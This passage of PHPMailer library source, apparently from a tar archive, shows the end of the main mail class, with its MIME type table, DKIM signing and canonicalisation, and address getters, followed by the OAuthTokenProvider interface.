'/'; } if (strlen($directory) > 1 && '/' !== substr($directory, -1)) { $directory .= '/'; } if ( $this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } } } $this->isHTML(); //Convert all message body line breaks to LE, makes quoted-printable encoding work much better $this->Body = static::normalizeBreaks($message); $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.' . static::$LE; } return $this->Body; } /** * Convert an HTML string into plain text. * This is used by msgHTML(). * Note - older versions of this function used a bundled advanced converter * which was removed for license reasons in #232. * Example usage: * * ```php * //Use default conversion * $plain = $mail->html2text($html); * //Use your own custom converter * $plain = $mail->html2text($html, function($html) { * $converter = new MyHtml2text($html); * return $converter->get_text(); * }); * ``` * * @param string $html The HTML text to convert * @param bool|callable $advanced Any boolean value to use the internal converter, * or provide your own callable for custom conversion. * *Never* pass user-supplied data into this parameter * * @return string */ public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet ); } /** * Get the MIME type for a file extension. * * @param string $ext File extension * * @return string MIME type of file */ public static function _mime_types($ext = '') { $mimes = [ 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'm4a' => 'audio/mp4', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'mka' => 'audio/x-matroska', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'webp' => 'image/webp', 'avif' => 'image/avif', 'heif' => 'image/heif', 'heifs' => 'image/heif-sequence', 'heic' => 'image/heic', 'heics' => 'image/heic-sequence', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'ics' => 'text/calendar', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'csv' => 'text/csv', 'wmv' => 'video/x-ms-wmv', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mp4' => 'video/mp4', 'm4v' => 'video/mp4', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', ]; $ext = strtolower($ext); if (array_key_exists($ext, $mimes)) { return $mimes[$ext]; } return 'application/octet-stream'; } /** * Map a file name to a MIME type. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. * * @param string $filename A file name or full path, does not need to exist as a file * * @return string */ public static function filenameToType($filename) { //In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); return static::_mime_types($ext); } /** * Multi-byte-safe pathinfo replacement. * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe. * * @see https://www.php.net/manual/en/function.pathinfo.php#107461 * * @param string $path A filename or path, does not need to exist as a file * @param int|string $options Either a PATHINFO_* constant, * or a string name to return only the specified piece * * @return string|array */ public static function mb_pathinfo($path, $options = null) { $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '']; $pathinfo = []; if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } /** * Set or reset instance properties. * You should avoid this function - it's more verbose, less efficient, more error-prone and * harder to debug than setting properties directly. * Usage Example: * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);` * is the same as: * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`. * * @param string $name The property name to set * @param mixed $value The value to set the property to * * @return bool */ public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } $this->setError(self::lang('variable_set') . $name); return false; } /** * Strip newlines to prevent header injection. * * @param string $str * * @return string */ public function secureHeader($str) { return trim(str_replace(["\r", "\n"], '', $str)); } /** * Normalize line breaks in a string. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. * Defaults to CRLF (for message bodies) and preserves consecutive breaks. * * @param string $text * @param string $breaktype What kind of line break to use; defaults to static::$LE * * @return string */ public static function normalizeBreaks($text, $breaktype = null) { if (null === $breaktype) { $breaktype = static::$LE; } //Normalise to \n $text = str_replace([self::CRLF, "\r"], "\n", $text); //Now convert LE as needed if ("\n" !== $breaktype) { $text = str_replace("\n", $breaktype, $text); } return $text; } /** * Remove trailing whitespace from a string. * * @param string $text * * @return string The text to remove whitespace from */ public static function stripTrailingWSP($text) { return rtrim($text, " \r\n\t"); } /** * Strip trailing line breaks from a string. * * @param string $text * * @return string The text to remove breaks from */ public static function stripTrailingBreaks($text) { return rtrim($text, "\r\n"); } /** * Return the current line break format string. * * @return string */ public static function getLE() { return static::$LE; } /** * Set the line break format string, e.g. "\r\n". * * @param string $le */ protected static function setLE($le) { static::$LE = $le; } /** * Set the public and private key files and password for S/MIME signing. * * @param string $cert_filename * @param string $key_filename * @param string $key_pass Password for private key * @param string $extracerts_filename Optional path to chain certificate */ public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } /** * Quoted-Printable-encode a DKIM header. * * @param string $txt * * @return string */ public function DKIM_QP($txt) { $line = ''; $len = strlen($txt); for ($i = 0; $i < $len; ++$i) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } /** * Generate a DKIM signature. * * @param string $signHeader * * @throws Exception * * @return string The DKIM signature value */ public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new Exception(self::lang('extension_missing') . 'openssl'); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' !== $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { if (\PHP_MAJOR_VERSION < 8) { openssl_pkey_free($privKey); } return base64_encode($signature); } if (\PHP_MAJOR_VERSION < 8) { openssl_pkey_free($privKey); } return ''; } /** * Generate a DKIM canonicalization header. * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2. * Canonicalized headers should *always* use CRLF, regardless of mailer setting. * * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.2 * * @param string $signHeader Header * * @return string */ public function DKIM_HeaderC($signHeader) { //Normalize breaks to CRLF (regardless of the mailer) $signHeader = static::normalizeBreaks($signHeader, self::CRLF); //Unfold header lines //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]` //@see https://www.rfc-editor.org/rfc/rfc5322#section-2.2 //That means this may break if you do something daft like put vertical tabs in your headers. $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader); //Break headers out into an array $lines = explode(self::CRLF, $signHeader); foreach ($lines as $key => $line) { //If the header is missing a :, skip it as it's invalid //This is likely to happen because the explode() above will also split //on the trailing LE, leaving an empty line if (strpos($line, ':') === false) { continue; } list($heading, $value) = explode(':', $line, 2); //Lower-case header name $heading = strtolower($heading); //Collapse white space within the value, also convert WSP to space $value = preg_replace('/[ \t]+/', ' ', $value); //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value //But then says to delete space before and after the colon. //Net result is the same as trimming both ends of the value. //By elimination, the same applies to the field name $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t"); } return implode(self::CRLF, $lines); } /** * Generate a DKIM canonicalization body. * Uses the 'simple' algorithm from RFC6376 section 3.4.3. * Canonicalized bodies should *always* use CRLF, regardless of mailer setting. * * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.3 * * @param string $body Message Body * * @return string */ public function DKIM_BodyC($body) { if (empty($body)) { return self::CRLF; } //Normalize line endings to CRLF $body = static::normalizeBreaks($body, self::CRLF); //Reduce multiple trailing line breaks to a single one return static::stripTrailingBreaks($body) . self::CRLF; } /** * Create the DKIM header and body in a new message header. * * @param string $headers_line Header lines * @param string $subject Subject * @param string $body Body * * @throws Exception * * @return string */ public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body $DKIMquery = 'dns/txt'; //Query method $DKIMtime = time(); //Always sign these headers without being asked //Recommended list from https://www.rfc-editor.org/rfc/rfc6376#section-5.4.1 $autoSignHeaders = [ 'from', 'to', 'cc', 'date', 'subject', 'reply-to', 'message-id', 'content-type', 'mime-version', 'x-mailer', ]; if (stripos($headers_line, 'Subject') === false) { $headers_line .= 'Subject: ' . $subject . static::$LE; } $headerLines = explode(static::$LE, $headers_line); $currentHeaderLabel = ''; $currentHeaderValue = ''; $parsedHeaders = []; $headerLineIndex = 0; $headerLineCount = count($headerLines); foreach ($headerLines as $headerLine) { $matches = []; if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) { if ($currentHeaderLabel !== '') { //We were previously in another header; This is the start of a new header, so save the previous one $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } $currentHeaderLabel = $matches[1]; $currentHeaderValue = $matches[2]; } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) { //This is a folded continuation of the current header, so unfold it $currentHeaderValue .= ' ' . $matches[1]; } ++$headerLineIndex; if ($headerLineIndex >= $headerLineCount) { //This was the last line, so finish off this header $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } } $copiedHeaders = []; $headersToSignKeys = []; $headersToSign = []; foreach ($parsedHeaders as $header) { //Is this header one that must be included in the DKIM signature? if (in_array(strtolower($header['label']), $autoSignHeaders, true)) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } continue; } //Is this an extra custom header we've been asked to sign? if (in_array($header['label'], $this->DKIM_extraHeaders, true)) { //Find its value in custom headers foreach ($this->CustomHeader as $customHeader) { if ($customHeader[0] === $header['label']) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } //Skip straight to the next header continue 2; } } } } $copiedHeaderFields = ''; if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) { //Assemble a DKIM 'z' tag $copiedHeaderFields = ' z='; $first = true; foreach ($copiedHeaders as $copiedHeader) { if (!$first) { $copiedHeaderFields .= static::$LE . ' |'; } //Fold long values if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) { $copiedHeaderFields .= substr( chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS), 0, -strlen(static::$LE . self::FWS) ); } else { $copiedHeaderFields .= $copiedHeader; } $first = false; } $copiedHeaderFields .= ';' . static::$LE; } $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE; $headerValues = implode(static::$LE, $headersToSign); $body = $this->DKIM_BodyC($body); //Base64 of packed binary SHA-256 hash of body $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); $ident = ''; if ('' !== $this->DKIM_identity) { $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE; } //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag //which is appended after calculating the signature //https://www.rfc-editor.org/rfc/rfc6376#section-3.5 $dkimSignatureHeader = 'DKIM-Signature: v=1;' . ' d=' . $this->DKIM_domain . ';' . ' s=' . $this->DKIM_selector . ';' . static::$LE . ' a=' . $DKIMsignatureType . ';' . ' q=' . $DKIMquery . ';' . ' t=' . $DKIMtime . ';' . ' c=' . $DKIMcanonicalization . ';' . static::$LE . $headerKeys . $ident . $copiedHeaderFields . ' bh=' . $DKIMb64 . ';' . static::$LE . ' b='; //Canonicalize the set of headers $canonicalizedHeaders = $this->DKIM_HeaderC( $headerValues . static::$LE . $dkimSignatureHeader ); $signature = $this->DKIM_Sign($canonicalizedHeaders); $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS)); return static::normalizeBreaks($dkimSignatureHeader . $signature); } /** * Detect if a string contains a line longer than the maximum line length * allowed by RFC 2822 section 2.1.1. * * @param string $str * * @return bool */ public static function hasLineLongerThanMax($str) { return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str); } /** * If a string contains any "special" characters, double-quote the name, * and escape any double quotes with a backslash. * * @param string $str * * @return string * * @see RFC822 3.4.1 */ public static function quotedString($str) { if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) { //If the string contains any of these chars, it must be double-quoted //and any double quotes must be escaped with a backslash return '"' . str_replace('"', '\\"', $str) . '"'; } //Return the string untouched, it doesn't need quoting return $str; } /** * Allows for public read access to 'to' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getToAddresses() { return $this->to; } /** * Allows for public read access to 'cc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getCcAddresses() { return $this->cc; } /** * Allows for public read access to 'bcc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getBccAddresses() { return $this->bcc; } /** * Allows for public read access to 'ReplyTo' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getReplyToAddresses() { return $this->ReplyTo; } /** * Allows for public read access to 'all_recipients' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getAllRecipientAddresses() { return $this->all_recipients; } /** * Perform a callback. * * @param bool $isSent * @param array $to * @param array $cc * @param array $bcc * @param string $subject * @param string $body * @param string $from * @param array $extra */ protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) { if (!empty($this->action_function) && is_callable($this->action_function)) { call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra); } } /** * Get the OAuthTokenProvider instance. * * @return OAuthTokenProvider */ public function getOAuth() { return $this->oauth; } /** * Set an OAuthTokenProvider instance. */ public function setOAuth(OAuthTokenProvider $oauth) { $this->oauth = $oauth; } } OAuthTokenProvider.php 0000644 00000003002 15173701274 0011013 0 ustar 00 <?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.5. * * @see https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2020 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ namespace PHPMailer\PHPMailer; /** * OAuthTokenProvider - OAuth2 token provider interface. * Provides base64 encoded OAuth2 auth strings for SMTP authentication. * * @see OAuth * @see SMTP::authenticate() * * @author Peter Scopes (pdscopes) * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> */ interface OAuthTokenProvider { /** * Generate a base64-encoded OAuth token ensuring that the access token has not expired. * The string to be base 64 encoded should be in the form: * "user=<user_email_address>\001auth=Bearer <access_token>\001\001" * * @return string */ public function getOauth64(); }
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